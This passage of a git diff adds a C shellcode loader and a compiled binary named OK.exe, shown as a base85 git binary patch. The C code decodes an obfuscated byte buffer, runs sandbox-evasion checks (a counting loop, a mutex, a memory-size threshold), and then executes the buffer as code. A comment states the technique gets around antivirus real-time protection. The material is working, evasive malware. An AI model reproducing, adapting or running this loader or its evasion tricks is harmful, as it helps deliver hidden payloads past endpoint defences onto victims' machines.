buf[1427] = '\x27a'-496; + buf[1428] = '\x275'-496; + buf[1429] = '\x257'-496; + buf[1430] = '\x2b1'-496; + buf[1431] = '\x2e0'-496; + buf[1432] = '\x2c7'-496; + buf[1433] = '\x275'-496; + buf[1434] = '\x285'-496; + buf[1435] = '\x20f'-496; + buf[1436] = '\x2a2'-496; + buf[1437] = '\x28f'-496; + buf[1438] = '\x29d'-496; + buf[1439] = '\x2e7'-496; + buf[1440] = '\x1f1'-496; + buf[1441] = '\x261'-496; + buf[1442] = '\x2ba'-496; + buf[1443] = '\x268'-496; + buf[1444] = '\x2ca'-496; + buf[1445] = '\x210'-496; + buf[1446] = '\x272'-496; + buf[1447] = '\x2ab'-496; + buf[1448] = '\x2b7'-496; + buf[1449] = '\x2a5'-496; + buf[1450] = '\x220'-496; + buf[1451] = '\x2c2'-496; + buf[1452] = '\x249'-496; + buf[1453] = '\x2d7'-496; + buf[1454] = '\x2c6'-496; + buf[1455] = '\x2ce'-496; + buf[1456] = '\x2a2'-496; + buf[1457] = '\x1f9'-496; + buf[1458] = '\x2e5'-496; + buf[1459] = '\x2b9'-496; + buf[1460] = '\x2b5'-496; + buf[1461] = '\x27f'-496; + buf[1462] = '\x2c6'-496; + buf[1463] = '\x272'-496; + buf[1464] = '\x2e6'-496; + buf[1465] = '\x204'-496; + buf[1466] = '\x219'-496; + buf[1467] = '\x212'-496; + buf[1468] = '\x2e5'-496; + buf[1469] = '\x21a'-496; + buf[1470] = '\x27a'-496; + buf[1471] = '\x27b'-496; + buf[1472] = '\x29b'-496; + buf[1473] = '\x26f'-496; + buf[1474] = '\x220'-496; + buf[1475] = '\x22e'-496; + buf[1476] = '\x26d'-496; + buf[1477] = '\x2dc'-496; + buf[1478] = '\x253'-496; + buf[1479] = '\x29a'-496; + buf[1480] = '\x256'-496; + buf[1481] = '\x217'-496; + buf[1482] = '\x2c1'-496; + buf[1483] = '\x204'-496; + buf[1484] = '\x20d'-496; + buf[1485] = '\x295'-496; + buf[1486] = '\x2b4'-496; + buf[1487] = '\x2c7'-496; + buf[1488] = '\x287'-496; + buf[1489] = '\x243'-496; + buf[1490] = '\x26b'-496; + buf[1491] = '\x20c'-496; + buf[1492] = '\x285'-496; + buf[1493] = '\x230'-496; + buf[1494] = '\x259'-496; + buf[1495] = '\x2ef'-496; + buf[1496] = '\x2aa'-496; + buf[1497] = '\x227'-496; + buf[1498] = '\x2a5'-496; + buf[1499] = '\x241'-496; + buf[1500] = '\x203'-496; + buf[1501] = '\x282'-496; + buf[1502] = '\x286'-496; + buf[1503] = '\x23b'-496; + buf[1504] = '\x1f6'-496; + + int cpt = 0; + int i = 0; + for (i = 0; i < max_op; i++) { + cpt++; + } + if (cpt == max_op) { + HANDLE mutex; + mutex = CreateMutex(NULL, TRUE, "MFEUe"); + if (GetLastError() == ERROR_ALREADY_EXISTS) + { + ; + } + else + { + + exit(0); + } + PROCESS_MEMORY_COUNTERS pmc; + GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); + if(!(pmc.WorkingSetSize<=3500000)) + { + exit(216); + } + // Checking NULL allows us to get around Real-time protection + void (*func)(); + func = (void (*)()) buf; + (void)(*func)(); + return 0; + } +} \ No newline at end of file diff --git a/OK.exe b/OK.exe new file mode 100755 index 0000000000000000000000000000000000000000..fd3934676b435963e5c84cff496c5540dc41e1fa GIT binary patch literal 117447 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]*st_xq*klLN&VW54(Elr5svsbi*IBJw;w z$B16|f`RI$HeEY}0{U?4Igw&>3Z0aIJo^lJ z|F9kSWe#{$%v)GoKDWGxC&Yrn0)mWN#M9#Zh4Z`^LtS6;#8E_9R9;ayueAIg!}$w& zi|C4QE~82BxsG4%3v!)+-t(L!xzE1GNtQdS1WF+^OCFSiDw|tYIWnbR zbuQ5$c}|82@|=+>AlXqSfkq4ILw`hw1}URuoH62%t%9)vWi#g#&Rnoy<~`1(;+$=q zDZH?(a6v)g93JBfoN*$s4S~xH@0L1WF6?c)WeM{XsA-QE$HKVlYH`WJt$gmhLMLBb zvx-Y*IWvVwr*P&xXO?lv0v3PK$OD!*tR+2-A#(3l@oH ztrh3o;^M;F>9qd-L9Tf-%kCtErCNSZX`u*kviHMqWuvyLlAVgQrMfK=s^Gyu&n~1@ zdV=~DoOT#E4v|(ryb2}1Jdn0}=mu0bl8Eq7s%Kp*TJ6+_o-|H-XVL=%i*_@1Y?!32 z51$a7uc&BiltUJFAf#F)2{+rzi~!3v9>C{ZA*rN2n)G4fCrKjgUonH#ujJv&@{~KK zDsAI+r(f5bqYn={X`N#xjh3OD%jcE;iqb`M7CFN*B8#XPuDRkGIaEaS=Dapzrm zgjp)2d+r10PTUeLNLGbB-7a5M!7*Gp>{3xTw~+?poU`NJHB{!xB!6%_=e;iu*U&tB 